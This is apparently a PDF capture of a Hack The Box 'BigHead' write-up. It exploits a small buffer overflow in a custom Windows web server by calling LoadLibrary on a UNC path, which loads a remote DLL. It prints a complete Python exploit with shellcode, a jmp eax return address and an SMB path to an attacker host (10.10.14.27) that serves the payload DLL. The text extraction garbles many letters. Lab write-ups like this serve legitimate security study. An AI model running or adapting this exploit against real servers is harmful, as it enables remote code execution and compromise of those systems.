HTB BigHead Exploit - Small Buffer Exploit Without Egghunter InfoSec Blog
HTB BigHead Exploit - Small Buffer Exploit Without Egghunter InfoSec Blog
io/post/htb-bighead/
Normally, when exploiting bu!er over"ows on Windows (no DEP) we just cram the shellcode into the
bu!er itself and #nd a way to jump to it. If the bu!er space is too small to #t the entire shellcode, then
a technique called “egg hunting” comes into play. Using this technique a very small 32-40 byte
shellcode is used. This code only searches the vulnerable program’s memory for the bigger shellcode
and jumps to it. It’s a technique that’s quite universal and works well in most situations.
However, in certain favorable circumstances we can exploit Windows programs in a way which is
similar to the Linux system('/bin/sh') one liner.
In order to use any of these functions within a small bu!er space, they need to be already imported by
the vulnerable program.
In the case of BigHead Web Server, the LoadLibrary function is imported both by the executable itself
and bHeadSvr.dll .
So, in short, to achieve a one API call RCE with LoadLibrary we need to load a dll from a UNC path like
this:
LoadLibrary('\\attacker_ip\payload.dll')
The only requirement for this to work is that anonymous SMB outbound tra$c needs to be allowed.
Which is also true for the BigHead box.
Quick Summary
Let’s follow these steps to produce a working exploit using the LoadLibrary() technique:
1 de 8 04/06/2020 17:29
HTB BigHead Exploit - Small Buffer Exploit without Egghun... http://mislusnys.github.io/post/htb-bighead/
Detailed Steps
Identify the web server running on the box
Using the standard enumeration techniques we identify a custom web server running on the
dev.bighead.htb VHOST on our target. Using some light OSINT we realize that the server binaries are
actually hosted on github: https://github.com/3mrgnc3/BigheadWebSvr (https://github.com/3mrgnc3
/BigheadWebSvr). We download the commit which has the exe #le inside and crack the zip password to
extract BigheadWebSvr.exe , bHeadSvr.dll and nginx.conf #les.
root@kali:~/ctf/htb/bighead# nc 127.0.0.1 80
HEAD /test HTTP/1.1
Host: dev.bighead.htb
^C
2 de 8 04/06/2020 17:29
HTB BigHead Exploit - Small Buffer Exploit without Egghun... http://mislusnys.github.io/post/htb-bighead/
import socket
host = "127.0.0.1"
port = 80
3 de 8 04/06/2020 17:29
HTB BigHead Exploit - Small Buffer Exploit without Egghun... http://mislusnys.github.io/post/htb-bighead/
1. The payload is hexli#ed, so the “AA” becomes 0xAA and not 0x41,0x41, this makes it a bit harder
to search for EIP o!set using mona.py
2. Our payload is cleanly referenced in the EAX register, so any JMP EAX, CALL EAX or similar
instruction will land us into our payload
After a few tries we #nd the correct o!set and the size of our bu!er (the size limitation is very
important for the steps that will follow):
4 de 8 04/06/2020 17:29
HTB BigHead Exploit - Small Buffer Exploit without Egghun... http://mislusnys.github.io/post/htb-bighead/
<...snip...>
<...snip...>
0BADF00D [+] Done. Only the first 20 pointers are shown here. For more pointers, open j
mp.txt...
0BADF00D Found a total of 28 pointers
0BADF00D
0BADF00D [+] This mona.py action took 0:00:00.719000
Now when we replace the BBBBBBBB with f2125062 (little endian, hexli#ed) - we will overwrite EIP
with the address of jmp eax and this jump will redirect program execution to the start of our bu!er.
5 de 8 04/06/2020 17:29
HTB BigHead Exploit - Small Buffer Exploit without Egghun... http://mislusnys.github.io/post/htb-bighead/
Next, we need to load the string \\IP\payload.dll or in our test case \\10.10.14.27\share\x.dll
into EAX and call the previously found address.
One thing that we notice is that whatever we put in our bu!er AFTER the EIP o!set is actually 0x0
terminated, which is perfect for us as it simpli#es getting the address of our string into the EAX. So,
when we start executing our shellcode the EAX points to the start of our bu!er and the UNC address
string is where the c's start in our POC:
This means that the UNC string is at 36 + 4 = 40 (0x28 hex) bytes from the start of our bu!er. Since EAX
already holds the address of our bu!er, we only need to add 0x28 to it to have our string’s address in
there.
load_lib = ""
load_lib += "\x04\x28" # add al, 28h
load_lib += "\x50" # push eax ; EAX now points to the smb string
load_lib += "\xBB\x58\x1B\x50\x62" # mov ebx, 62501B58h ; Load EBX with the address
of LoadLibrary
load_lib += "\xFF\xD3" # call ebx ; Call LoadLibrary()
We use add al, 28h instead of add eax, 28h here to avoid null bytes and shorten the code as much
as possible.
6 de 8 04/06/2020 17:29
HTB BigHead Exploit - Small Buffer Exploit without Egghun... http://mislusnys.github.io/post/htb-bighead/
#!/usr/bin/python
import socket
import binascii
host = "127.0.0.1"
port = 80
load_lib = ""
load_lib += "\x04\x28" # add al, 28h
load_lib += "\x50" # push eax ; EAX now points to the smb string
load_lib += "\xBB\x58\x1B\x50\x62" # mov ebx, 62501B58h ; Load EBX with the address
of LoadLibrary
load_lib += "\xFF\xD3" # call ebx
smb = "\\\\10.10.14.27\\share\\x.dll"
load_lib = binascii.hexlify(load_lib)
smb = binascii.hexlify(smb)
jmp_eax = 'F2125062'
align_esp = '505C' # push eax, pop esp
buf = align_esp + load_lib + "90" * 24 + jmp_eax + smb
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
s.recv(1024)
s.close()
Putting the breakpoint on JMP EAX instruction, running our exploit against the test server and jumping
into the bu!er we get:
Serving this dll with impacket’s SMB server and running our exploit against the target:
7 de 8 04/06/2020 17:29
HTB BigHead Exploit - Small Buffer Exploit without Egghun... http://mislusnys.github.io/post/htb-bighead/
C:\nginx>
8 de 8 04/06/2020 17:29